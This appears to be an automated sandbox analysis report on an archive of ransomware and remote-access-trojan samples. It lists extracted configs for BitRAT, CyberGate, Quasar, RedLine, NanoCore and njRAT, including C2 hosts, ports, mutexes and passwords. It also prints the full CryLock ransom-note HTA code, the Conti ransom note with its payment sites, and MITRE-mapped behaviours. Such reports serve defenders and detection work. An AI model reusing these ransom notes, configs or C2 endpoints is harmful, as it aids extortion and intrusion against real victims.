bitrat | 535956c43830655c6fa5bfd37c66ee1e46343533ebe43e7ae1818805b7270c06

Analysis

max time kernel
144s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-10-2024 20:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

RNSM00460.7z
Size

55.7MB
MD5

d1b35f83743f1f7947496a2085f77d09
SHA1

f1f0cc33a0228f0da132eebc0953c3ad5b8e42e8
SHA256

535956c43830655c6fa5bfd37c66ee1e46343533ebe43e7ae1818805b7270c06
SHA512

26b8b0987121c377b785a34a8e5ea7aaec45dde02335bd5d5a5d28edc7c9631d14b7069472227130c492ef5dee4b52e6cd31a8d36f74a4579288bd279cc8004a
SSDEEP

1572864:ZXea6TzOEc9L9tAY86RjHDImZn6gihc055rUAbi:83c79X5ImZnpiO0w2i

Malware Config

Extracted

Family

bitrat

Version

1.38

45.153.241.244:5506

Attributes

communication_password
fcea920f7412b5da7be0cf42b8c93759
install_dir
esb6asg
install_file
wsd.exe
tor_process
tor

Extracted

Family

crylock

Attributes

emails
[email protected]

[email protected]
ransomnote
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <title>CryLock</title> <hta:application showInTaskBar="no" APPLICATION="yes" ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no" applicationname="CryLock" border="thick" contexmenu="no" scroll="no" selection="yes" singleinstance="yes" windowstate="normal" MAXIMIZEBUTTON="NO" BORDER="DIALOG" width="100" height="100" MINIMIZEBUTTON="NO"></hta:application> <script language="JavaScript"> var max_discount = 50; var start_date = new Date('<%START_DATETIME%>'); var discount_date = new Date('<%DOUBLE_DATETIME%>'); var end_date = new Date('<%UNDECRYPT_DATETIME%>'); var main_contact = '<%MAIN_CONTACT%>'; var hid = '[<%HID%>]'; var second_contact = '<%RESERVE_CONTACT%>'; var sd = end_date; var dn = new Date(); var zoc, ddGlobal; function document.onblur() { alert('Attention! This important information for you!'); } function setContacts() { document.getElementById('main_contact').innerHTML = main_contact; document.getElementById('second_contact').innerHTML = second_contact; document.getElementById('hid').innerHTML = hid; } function countDiscount() { var term_current = new Date().getTime() - start_date.getTime(); var term_full = discount_date.getTime() - start_date.getTime(); var delta = discount_date.getTime() - new Date().getTime(); delta = new Date(delta); var dt = document.getElementById('pwr'); var timer_discount = document.getElementById('timer_discount'); var discount = document.getElementById('discount'); var hours_to_end = Math.floor(term_full / 1000 / 3600); var hours_current = Math.floor(term_current / 1000 / 3600); if (discount_date.getTime() > dn.getTime()) { var disc_per_hour = parseFloat(max_discount / hours_to_end).toFixed(2); var cur_discount = Math.floor(max_discount - (disc_per_hour * hours_current)); if (discount) { discount.innerHTML = cur_discount + '% discount'; } } if (cur_discount <= 25) { dt.style.cssText = 'border: 1px solid #FFC000;'; if (timer_discount) { timer_discount.style.background = '#FFC000'; } } if (sd.getTime() < dn.getTime() || cur_discount < 5) { dt.style.cssText = 'border: 1px solid #F53636; background-color: #F53636; padding: 16px 20px;'; dt.innerHTML = '<div style="font-size: 16px; color: #ffffff; text-align: center; display: block; font-weight: bold;">Decryption key can be bought at standard cost.</div><div style="font-size: 13px; color: #fff; text-align: center; margin-top: 10px">You need to hurry up to decrypt your data because all your files will be destroyed soon.</div>'; } var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } if (timer_discount) { timer_discount.innerHTML = dd + ' ' + hh+':'+mm+':'+ss; } } function ChangeTime() { var sd = end_date; var dn = new Date(); if (sd.getTime() < dn.getTime()) { var dt = document.getElementById('lctw'); dt.innerHTML = '<b>Soon, you won\'t be able to decrypt your files. Contact us immediately!</b>'; dt.style.cssText = 'background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px; text-align: center; font-size: 20px;'; zoc = 2; } else { var delta = sd.getTime() - dn.getTime(); delta = new Date(delta); var dd = (delta.getUTCDate()-1) + ((delta.getUTCMonth()) * 31); ddGlobal = parseInt(dd); var hh = delta.getUTCHours(); var mm = delta.getUTCMinutes(); var ss = delta.getUTCSeconds(); if (dd!=1) { dd=dd+' days'; } else { dd=dd+' day'; } if (hh<10) { hh='0'+hh; } if (mm<10) { mm='0'+mm; } if (ss<10) { ss='0'+ss; } var dt = document.getElementById('file_lost'); if (dt) { dt.innerHTML= dd+'     '+hh+':'+mm+':'+ss; } } } var count = 100, interval = 10, intervalID; function blink() { if (ddGlobal == 0 && zoc != 2) { var dt = document.getElementById('file_lost'); var dt2 = document.getElementById('text_file_lost'); var test = document.getElementById('test'); if (count == 100) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count - 2; if (count == 20) clearInterval(intervalId); }, interval); } if (count == 20) { intervalId = setInterval(function () { dt.style.filter = 'alpha(opacity='+count+')'; dt2.style.filter = 'alpha(opacity='+count+')'; count = count + 2; if (count == 100) clearInterval(intervalId); }, interval); } } } function getRandomArbitrary(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min)) + min; } function Rndom() { var dt=document.getElementById('rc'); var xx=''; var i=0; while (i < 40) { xx=xx+getRandomArbitrary(0,2); i=i+1; } rc.innerHTML= xx; } function Start() { window.resizeTo(850,720); setContacts(); ChangeTime(); setInterval(ChangeTime, 1000); countDiscount(); setInterval(countDiscount, 1000); setInterval(blink, 100); setInterval(Rndom,100); } function copytext(s) { window.clipboardData.setData("Text",s); alert(s+' copied to clipboard'); } function Restart() { alert('Attention! This important information for you!'); } </script> <body style="background: #000; font: 12px 'Arial', sans-serif; padding: 0; margin: 0;" onload="Start();"> <div style="height: 100%; position: absolute; top: 0; left: 0; background-color: #ffffff; box-sizing: border-box; padding: 20px; overflow-x: hidden;overflow-y: hidden;"> <div style="background-color: #000000; width: 100%; height: 55px;" id="header"> <div style="color: #F53636; font-weight: bold; font-size: 40px; text-transform: uppercase; line-height: 54px; padding-left: 8px; float: left;">ENCRYPTED</div> <div style="font-size: 18px; color: #7E7E7E; float: right; line-height: 55px; padding-right: 17px;" id="rc">11100001111011111111100001111011111100</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> <div> <div style="float: left; width: 144px; height: 110px; background-color: #000000; color: #ffffff; text-align: center; line-height: 1;"> <b style="display: block; font-size: 43px; margin-top: 24px;">What</b> <b style="display: block; font-size: 20px;">happened?</b> </div> <div style="float: right; width: 630px;"> <b style="font-size: 13px; color: #F53636;">All your documents, databases, backups, and other critical files were encrypted.</b> <div>Our software used the AES cryptographic algorithm (you can find related information in Wikipedia).</div> <br> <div>It happened because of security problems on your server, and you cannot use any of these files anymore. The only way to recover your data is to buy a decryption key from us. </div> <br> <div>To do this, please send your unique ID to the contacts below.</div> </div> <div style="clear: both; float: none; height: 18px; width: 100%;"></div> </div> <div> <div style="float: left; width: 540px;"> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(main_contact)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">E-mail:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="main_contact"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="background: #EDEDED; height: 63px; line-height: 63px; margin-bottom: 5px; cursor: pointer;" OnClick="copytext(hid)"> <div style="width: 80px; float: left; font-size: 16px; color: #737373; padding-left: 18px;">Unique ID:</div> <b style="float: left; font-size: 14px; padding-left: 76px;" id="hid"></b> <div href="#" style="float: right; padding-right: 18px; font-size: 16px; color: #828282; font-weight: bold;" >copy</div> <div style="clear: both; float: none;"></div> </div> <div style="margin-top: 17px; line-height: 18px;">Right after payment, we will send you a specific decoding software that will decrypt all of your files. If you have not received the response within 24 hours, please contact us by e-mail <span style="text-decoration: underline;" OnClick="copytext(second_contact)" id="second_contact"></span>.</div> </div> <div style="float: right; width: 230px;"> <div style="border: 1px solid #2FAB61;" id="pwr"> <div style="padding: 13px 14px 3px 14px; text-align: center; font-size: 14px;">During a short period, you can buy a decryption key with a </div> <div style="font-size: 25px; text-align: center; display: block; font-weight: bold;" id="discount">50% discount</div> <div id="timer_discount" style="margin-top: 10px; background-color: #219653; padding: 5px 0; text-align: center; font-size: 25px; font-weight: bold; color: #ffffff;">--:--:-- left</div> </div> <div style="margin-top: 17px; line-height: 18px;">The price depends on how soon you will contact us.</div> </div> <div style="clear: both; float: none;"></div> </div> <div style="background-color: #F53636; color: #ffffff; font-weight: bold; padding: 19px 24px; margin: 17px 0 24px" id="lctw"> <div style="float: left; font-size: 20px; padding-top: 3px;" id="text_file_lost">All your files will be deleted permanently in:</div> <div style="float: right; font-size: 25px;" id="file_lost"></div> <div style="clear: both; float: none;"></div> </div> <div> <div style="float: left; width: 540px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">Attention! <div id="test"></div></b> <ul style="list-style: none; padding: 0; margin: 0;"> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not try to recover files yourself.</span> this process can damage your data and recovery will become impossible.</li> <li style="position: relative; padding-left: 20px; font-size: 12px; margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not waste time trying to find the solution on the Internet.</span> The longer you wait, the higher will become the decryption key price.</li> <li style="position: relative; padding-left: 20px; font-size: 12px margin-bottom: 14px;"> <span style="position: absolute; font-size: 27px; left: 0; color: #F53636; top: -1px;">!</span> <span style="color: #F53636;">Do not contact any intermediaries.</span> They will buy the key from us and sell it to you at a higher price.</li> </ul> </div> <div style="float: right; width: 230px;"> <b style="margin-bottom: 11px; font-size: 14px; display: block;">What guarantees do you have?</b> <div>Before payment, we can decrypt three files for free. The total file size should be less than 5MB (before archiving), and the files should not contain any important information (databases, backups, large tables, etc.)</div> </div> <div style="clear: both; float: none;"></div> </div> </div> </body> </html>

rsa_pubkey.plain

Extracted

Family

cybergate

Version

v3.4.2.2

Botnet

Covid 22

ibram.zapto.org:81

Mutex

U8346417L556YK

Attributes

enable_keylogger
false
enable_message_box
false
ftp_directory
./logs
ftp_interval
30
injected_process
Notepad.exe
install_dir
install
install_file
MicroDate.exe
install_flag
true
keylogger_enable_ftp
false
message_box_caption
Remote Administration anywhere in the world.
message_box_title
CyberGate
password
cybergate
regkey_hkcu
TEGames
regkey_hklm
EPic

Extracted

Path

C:\Recovery\readme.txt

Family

conti

Ransom Note

All of your files are currently encrypted by CONTI strain. As you know (if you don't - just "google it"), all of the data that has been encrypted by our software cannot be recovered by any means without contacting our team directly. If you try to use any additional recovery software - the files might be damaged, so if you are willing to try - try it on the data of the lowest value. To make sure that we REALLY CAN get your data back - we offer you to decrypt 2 random files completely free of charge. You can contact our team directly for further instructions through our website : TOR VERSION : (you should download and install TOR browser first https://torproject.org) http://contirecj4hbzmyzuydyzrvm2c65blmvhoj2cvf25zqj2dwrrqcq5oad.onion/ HTTPS VERSION : https://contirecovery.best YOU SHOULD BE AWARE! Just in case, if you try to ignore us. We've downloaded a pack of your internal data and are ready to publish it on out news website if you do not respond. So it will be better for both sides if you contact us as soon as possible. ---BEGIN ID--- EdKBszpVz7i9aIrMedNHe3uExMpz8Eot9fbCsY15OEUhJqECuuiljKTgA3E6nPSF ---END ID---

URLs

http://contirecj4hbzmyzuydyzrvm2c65blmvhoj2cvf25zqj2dwrrqcq5oad.onion/

https://contirecovery.best

Extracted

Family

quasar

Version

1.4.0

Botnet

freinds

bobrat1111.ddns.net:1111

Mutex

76167a83-4dcc-4e45-b8e5-ff70e4cf2bcf

Attributes

encryption_key
5BC4CE86FAA262ABB25BF6F183FF9ECA4822B37B
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
windowsdefendertask
subdirectory
SubDir

Extracted

Family

redline

Botnet

Cana

176.111.174.254:56328

Extracted

Family

nullmixer

http://motiwa.xyz/

Extracted

Family

nanocore

Version

1.2.2.0

grene231.ddns.net:9017

Mutex

050c3e25-856b-443b-ae6e-44a1fa0b6039

Attributes

activate_away_mode
true
backup_connection_host
grene231.ddns.net
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2018-12-09T09:11:12.426017136Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
9017
default_group
Vala
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
050c3e25-856b-443b-ae6e-44a1fa0b6039
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
grene231.ddns.net
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Extracted

Family

redline

Botnet

DomAni2

flestriche.xyz:80

Extracted

Family

njrat

Version

v4.0

Botnet

Steam

40.80.147.203:8080

Mutex

Steam

Attributes

reg_key
Steam
splitter
|-F-|

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat
Conti Ransomware
Ransomware generally thought to be a successor to Ryuk.
ransomware conti
Crylock
Ransomware family, which is a new variant of Cryakl ransomware.
ransomware crylock
CyberGate, Rebhip
CyberGate is a lightweight remote administration tool with a wide array of functionalities.
trojan stealer cybergate

Detect MafiaWare666 ransomware 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe	family_mafiaware666
behavioral1/memory/4664-263-0x0000000000040000-0x000000000007E000-memory.dmp	family_mafiaware666

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
MafiaWare666 Ransomware
MafiaWare666 is ransomware written in C# with multiple variants.
ransomware mafiaware666

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

Processes:

HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "empty"	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Client.exe	family_quasar
behavioral1/memory/5992-1064-0x0000000000EE0000-0x00000000011DC000-memory.dmp	family_quasar

Raccoon
Raccoon is an infostealer written in C++ and first seen in 2019.
stealer raccoon

Raccoon Stealer V1 payload 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/852-295-0x0000000000400000-0x0000000002D02000-memory.dmp	family_raccoon_v1
behavioral1/memory/2120-369-0x0000000000400000-0x0000000000943000-memory.dmp	family_raccoon_v1

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/7004-1322-0x0000000008980000-0x000000000899E000-memory.dmp	family_redline
behavioral1/memory/7004-1267-0x0000000006440000-0x0000000006460000-memory.dmp	family_redline
behavioral1/memory/6156-2870-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline

SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

SectopRAT payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/7004-1322-0x0000000008980000-0x000000000899E000-memory.dmp	family_sectoprat
behavioral1/memory/7004-1267-0x0000000006440000-0x0000000006460000-memory.dmp	family_sectoprat
behavioral1/memory/6156-2870-0x0000000000400000-0x000000000041E000-memory.dmp	family_sectoprat

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Detected Nirsoft tools 2 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

Processes:

resource	yara_rule
behavioral1/memory/6312-1669-0x0000000000400000-0x000000000045B000-memory.dmp	Nirsoft
behavioral1/memory/7024-2834-0x0000000000400000-0x0000000000422000-memory.dmp	Nirsoft

Disables Task Manager via registry modification
evasion
Modifies Windows Firewall 2 TTPs 2 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exenetsh.exe

pid process

4476 netsh.exe
5844 netsh.exe

pid	process
4476	netsh.exe
5844	netsh.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS49532F59\setup_install.exe	aspack_v212_v242

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe

Executes dropped EXE 9 IoCs

Processes:

HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exeHEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exeHEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exeRSW.exeHEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe

pid	process
888	HEUR-Trojan-Ransom.MSIL.Blocker.gen-0531fa8add852becdab7c5235a9de90de117c0c6b06dcbcc58a397538e968f96.exe
3668	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
4244	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe
3632	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
1932	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
1092	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
4664	HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
4464	RSW.exe
3936	HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

7952 icacls.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
7952	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NR = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe\""	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 39 IoCs

Web Service

T1102

Processes:

flow	ioc
60	8c881c2cfea9.ngrok.io
322	8c881c2cfea9.ngrok.io
1504	8c881c2cfea9.ngrok.io
52	8c881c2cfea9.ngrok.io
70	8c881c2cfea9.ngrok.io
351	8c881c2cfea9.ngrok.io
1096	iplogger.org
1171	iplogger.org
1236	8c881c2cfea9.ngrok.io
1307	8c881c2cfea9.ngrok.io
1740	8c881c2cfea9.ngrok.io
58	8.tcp.ngrok.io
61	raw.githubusercontent.com
72	8c881c2cfea9.ngrok.io
364	8c881c2cfea9.ngrok.io
749	8c881c2cfea9.ngrok.io
1161	8c881c2cfea9.ngrok.io
46	8c881c2cfea9.ngrok.io
62	raw.githubusercontent.com
67	8c881c2cfea9.ngrok.io
354	8c881c2cfea9.ngrok.io
387	8c881c2cfea9.ngrok.io
50	8c881c2cfea9.ngrok.io
178	8c881c2cfea9.ngrok.io
346	8c881c2cfea9.ngrok.io
374	8c881c2cfea9.ngrok.io
514	8c881c2cfea9.ngrok.io
981	8c881c2cfea9.ngrok.io
348	8c881c2cfea9.ngrok.io
578	8c881c2cfea9.ngrok.io
1109	8c881c2cfea9.ngrok.io
1713	8c881c2cfea9.ngrok.io
77	8c881c2cfea9.ngrok.io
1176	iplogger.org
64	8c881c2cfea9.ngrok.io
344	8c881c2cfea9.ngrok.io
399	8c881c2cfea9.ngrok.io
1283	8c881c2cfea9.ngrok.io
1661	8.tcp.ngrok.io

Looks up external IP address via web service 13 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
363	api.db-ip.com
373	api.2ip.ua
42	api.ipify.org
43	api.ipify.org
56	api.ipify.org
73	icanhazip.com
353	ipinfo.io
360	api.db-ip.com
376	api.2ip.ua
1671	api.2ip.ua
44	ipinfo.io
45	ipinfo.io
358	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\Desktop\Wallpaper	HEUR-Trojan-Ransom.MSIL.Encoder.gen-880823dd9df0ca6047cd829a1031e8a167ccec0629fdeac40a097dd555debf7c.exe

UPX packed file 9 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\Desktop\00460\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-c1c40c13de318e8fa290dbb71c1b69be489b0d86abe65a39130e19d5b3eab28b.exe	upx
behavioral1/memory/4072-329-0x0000000000400000-0x00000000005BB000-memory.dmp	upx
C:\Program Files\7-Zip\7-zip.chm.exe	upx
behavioral1/memory/3612-398-0x0000000010480000-0x00000000104F0000-memory.dmp	upx
behavioral1/memory/3612-393-0x0000000010410000-0x0000000010480000-memory.dmp	upx
behavioral1/memory/4072-546-0x0000000000400000-0x00000000005BB000-memory.dmp	upx
behavioral1/memory/6312-1669-0x0000000000400000-0x000000000045B000-memory.dmp	upx
behavioral1/memory/7024-2712-0x0000000000400000-0x0000000000422000-memory.dmp	upx
behavioral1/memory/7024-2834-0x0000000000400000-0x0000000000422000-memory.dmp	upx

Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

4940 sc.exe
2104 sc.exe
5136 sc.exe
5256 sc.exe
5496 sc.exe
5176 sc.exe
5548 sc.exe
3548 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

pid	process
4940	sc.exe
2104	sc.exe
5136	sc.exe
5256	sc.exe
5496	sc.exe
5176	sc.exe
5548	sc.exe
3548	sc.exe

Program crash 7 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
5420	2316	WerFault.exe	HEUR-Trojan-Ransom.Win32.Foreign.gen-e742a50fc5dc16f9ac7ca253fce897b08ccbb2dcbf579f137d3e6adba61fc7c0.exe
6168	5564	WerFault.exe	setup_install.exe
7028	6200	WerFault.exe	discord.exe
7036	5976	WerFault.exe	MicroDate.exe
5940	6420	WerFault.exe	arnatic_2.exe
6336	6404	WerFault.exe	arnatic_1.exe
9424	1032	WerFault.exe	HEUR-Trojan.MSIL.Crypt.gen-62a1d962d59b42f23a64fa0c755658c99330bbbdfa03567cc31ec8e6ac165255.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exeHEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.execmd.exeWMIC.exeHEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Encoder.gen-4066d357b55fb66801389baf183151f514a74093f933750966557652f748aedb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Gen.gen-b6e7072f1cafe3fc7ddc0e2dbb1e40b997b3824d606572ead26c33fefb20f153.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Gen.gen-c00db1eba5ba7fcd234c6a568ff9ae60bb3f343da199d0db8cd9b11308603a4d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Gen.gen-3cb05ab0775975ad282e45b9b01a702c0896fa9ab1ac1e1c136ecfaf40fb7a6f.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Gen.gen-c432a01904467c55ef316fec2973f10e09f1a1053faf574683c5097174caaa38.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HEUR-Trojan-Ransom.MSIL.Thanos.gen-d29abe6ed086a5508c54df31010c36cc19fea3bdc5d521ee7c0d7063a51bb131.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 5 IoCs
Adversaries may check for Internet connectivity on compromised systems.
discovery

Internet Connection Discovery
T1016.001

Processes:

cmd.exePING.EXEPING.EXEcmd.exePING.EXE

pid process

5404 cmd.exe
3448 PING.EXE
8484 PING.EXE
9016 cmd.exe
9276 PING.EXE

pid	process
5404	cmd.exe
3448	PING.EXE
8484	PING.EXE
9016	cmd.exe
9276	PING.EXE

